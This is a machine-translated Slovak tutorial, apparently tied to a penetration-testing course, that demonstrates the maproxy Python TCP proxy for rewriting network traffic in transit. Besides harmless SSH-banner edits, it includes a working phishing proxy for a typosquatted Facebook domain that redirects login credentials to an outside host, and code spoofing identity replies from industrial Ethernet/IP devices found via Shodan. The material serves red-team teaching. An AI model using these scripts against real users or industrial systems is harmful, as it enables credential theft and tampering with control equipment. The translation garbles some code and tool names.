Spracovávajte sieťové údaje za behu

Preklad článku bol pripravený v predstihu pred začiatkom kurzu „Pentest. Prax penetračného testovania".

Spracovávajte sieťové údaje za behu

abstraktné

Rôzne typy bezpečnostných hodnotení, od pravidelného penetračného testovania a operácií Red Teamu až po hackovanie zariadení IoT/ICS a SCADA, zahŕňajú prácu s binárnymi sieťovými protokolmi, teda v podstate zachytávanie a úpravu sieťových údajov medzi klientom a cieľom. Snímanie sieťovej prevádzky nie je náročná úloha, pretože máme nástroje ako Wireshark, Tcpdump alebo Scapy, ale úprava sa zdá byť náročnejšia na prácu, pretože budeme potrebovať nejaké rozhranie na čítanie sieťových údajov, ich filtrovanie, zmenu. za behu a poslať ho späť do cieľového hostiteľa takmer v reálnom čase. Okrem toho by bolo ideálne, keby takýto nástroj dokázal automaticky pracovať s viacerými paralelnými pripojeniami a bol prispôsobiteľný pomocou skriptov.

Jedného dňa som objavil nástroj tzv maproxy, dokumentácia mi to rýchlo ozrejmila maproxy – presne to, čo potrebujem. Ide o pomerne jednoduchý, všestranný a ľahko konfigurovateľný TCP proxy. Testoval som tento nástroj na niekoľkých pomerne zložitých aplikáciách vrátane zariadení ICS (ktoré generujú veľa paketov), ​​aby som zistil, či dokáže zvládnuť veľa paralelných pripojení a nástroj fungoval dobre.

Tento článok vám predstaví spracovanie sieťových údajov za behu pomocou maproxy.

Recenzia

Nástroj maproxy je založený na Tornado, populárnom a vyspelom asynchrónnom sieťovom rámci v Pythone.

Vo všeobecnosti môže fungovať v niekoľkých režimoch:

  • TCP:TCP – nešifrované TCP spojenia;
  • TCP:SSL и SSL:TCP – s jednosmerným šifrovaním;
  • SSL:SSL - obojsmerné šifrovanie.

Prichádza ako knižnica. Pre rýchly začiatok môžete použiť vzorové súbory, ktoré odrážajú hlavné knižničné funkcie:

  • all.py
  • certificate.pem
  • logging_proxy.py
  • privatekey.pem
  • ssl2ssl.py
  • ssl2tcp.py
  • tcp2ssl.py
  • tcp2tcp.py

Prípad 1 – jednoduchý obojsmerný proxy

Založené na tcp2tcp.py:

#!/usr/bin/env python

import tornado.ioloop
import maproxy.proxyserver

server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
tornado.ioloop.IOLoop.instance().start()

V predvolenom nastavení ProxyServer() má dva argumenty – umiestnenie pripojenia a cieľový port. server.listen() má jeden argument - port pre počúvanie prichádzajúceho spojenia.

Spustenie skriptu:

# python tcp2tcp.py

Na spustenie testu sa pripojíme k lokálnemu serveru SSH prostredníctvom nášho proxy skriptu, ktorý počúva 2222/tcp port a pripája sa k štandardnému portu 22/tcp SSH servery:

Spracovávajte sieťové údaje za behu

Uvítací banner vás informuje, že náš vzorový skript úspešne sprostredkoval sieťovú prevádzku cez proxy.

Prípad 2 – úprava údajov

Ďalší demo skript logging_proxy.py ideálne pre interakciu so sieťovými dátami. Komentáre v súbore popisujú metódy triedy, ktoré môžete upraviť, aby ste dosiahli svoj cieľ:

Spracovávajte sieťové údaje za behu

To najzaujímavejšie je tu:

  • on_c2p_done_read – zachytávanie údajov na ceste od klienta k serveru;
  • on_p2s_done_read - obrátený.

Skúsme zmeniť banner SSH, ktorý server vráti klientovi:

[…]
def on_p2s_done_read(self,data):
data = data.replace("OpenSSH", "DumnySSH")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("localhost",22)
server.listen(2222)
[…]

Spustite skript:

Spracovávajte sieťové údaje za behu

Ako vidíte, klient bol uvedený do omylu, pretože názov servera SSH pre neho bol zmenený na «DumnySSH».

Spracovávajte sieťové údaje za behu

Prípad 3 – jednoduchá phishingová webová stránka

Existuje nekonečne veľa spôsobov, ako tento nástroj použiť. Tentoraz sa poďme zamerať na niečo praktickejšie zo strany operácií Red Teamu. Napodobňujme vstupnú stránku m.facebook.com a použiť vlastnú doménu so zámerným preklepom, napr. m.facebok.com. Pre demonštračné účely predpokladajme, že doménu máme zaregistrovanú.

Chystáme sa vytvoriť nešifrované sieťové spojenie s proxy serverom našich obetí a streamom SSL na server Facebook (31.13.81.36). Aby tento príklad fungoval, musíme nahradiť hlavičku hostiteľa HTTP a vložiť správny názov hostiteľa a tiež zakážeme kompresiu odpovedí, aby sme mali jednoduchý prístup k obsahu. Nakoniec nahradíme HTML formulár tak, aby sa prihlasovacie údaje posielali nám namiesto serverov Facebooku:

[…]
def on_c2p_done_read(self,data):
 # replace Host header
data = data.replace("Host: m.facebok.com", "Host: m.facebook.com")
# disable compression
data = data.replace("gzip", "identity;q=0")
data = data.replace("deflate", "")
super(LoggingSession,self).on_c2p_done_read(data)
[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response
     data = data.replace("action="/sk/login/", "action="https://redteam.pl/")
super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("31.13.81.36",443, session_factory=LoggingSessionFactory(), server_ssl_options=True)
server.listen(80)
[…]

V súhrne:

Spracovávajte sieťové údaje za behu

Ako vidíte, podarilo sa nám úspešne nahradiť pôvodný web.

Prípad 4 – Prenos Ethernet/IP

Už nejaký čas sa zaoberám priemyselnými zariadeniami a softvérom (ICS/SCADA), ako sú programovateľné automaty (PLC), I/O moduly, pohony, relé, rebríkové programovacie prostredia a mnohé ďalšie. Toto puzdro je pre tých, ktorí majú radi priemyselné veci. Hackovanie takýchto riešení zahŕňa aktívne hranie sa so sieťovými protokolmi. V nasledujúcom príklade by som chcel ukázať, ako môžete upraviť sieťovú prevádzku ICS/SCADA.

K tomu potrebujete nasledovné:

  • Network sniffer, napríklad Wireshark;
  • Ethernet/IP alebo len SIP zariadenie, nájdete ho pomocou služby Shodan;
  • Náš scenár je založený na maproxy.

Najprv sa pozrime, ako vyzerá typická identifikačná odpoveď z CIP (Common Industrial Protocol):

Spracovávajte sieťové údaje za behu

Identifikácia zariadenia sa vykonáva pomocou protokolu Ethernet/IP, čo je vylepšená verzia protokolu priemyselného Ethernetu, ktorý zahŕňa riadiace protokoly, ako je CIP. Zmeníme zvýraznený názov ID, ktorý je viditeľný na snímke obrazovky "NI-IndComm pre Ethernet" pomocou nášho proxy skriptu. Mohli by sme znova použiť skript logging_proxy.py a podobne upravte metódu triedy on_p2s_done_read, pretože chceme, aby bol na klientovi viditeľný iný názov identity.

Kód:

[…]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[…]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[…]

V podstate sme dvakrát požiadali o identifikáciu zariadenia, druhá odpoveď bola pôvodná a prvá bola upravená za behu.

A posledný

Podľa môjho názoru maproxy Pohodlný a jednoduchý nástroj, ktorý je napísaný aj v Pythone, takže verím, že z jeho používania budete mať úžitok aj vy. Samozrejme, existujú aj komplexnejšie nástroje na spracovanie a úpravu sieťových dát, ale vyžadujú si aj väčšiu pozornosť a väčšinou sú vytvorené pre konkrétny prípad použitia, napr. muraena, Modliška alebo evilginx pre prípady podobné tretiemu, príp pohovka pre posledný prípad. Tak či onak, s pomocou maproxy môžete rýchlo implementovať svoje nápady na zachytávanie sieťových údajov, pretože vzorové skripty sú veľmi jasné.

Testovanie autentifikačných mechanizmov vo Windows AD

Zdroj: hab.com

Pridať komentár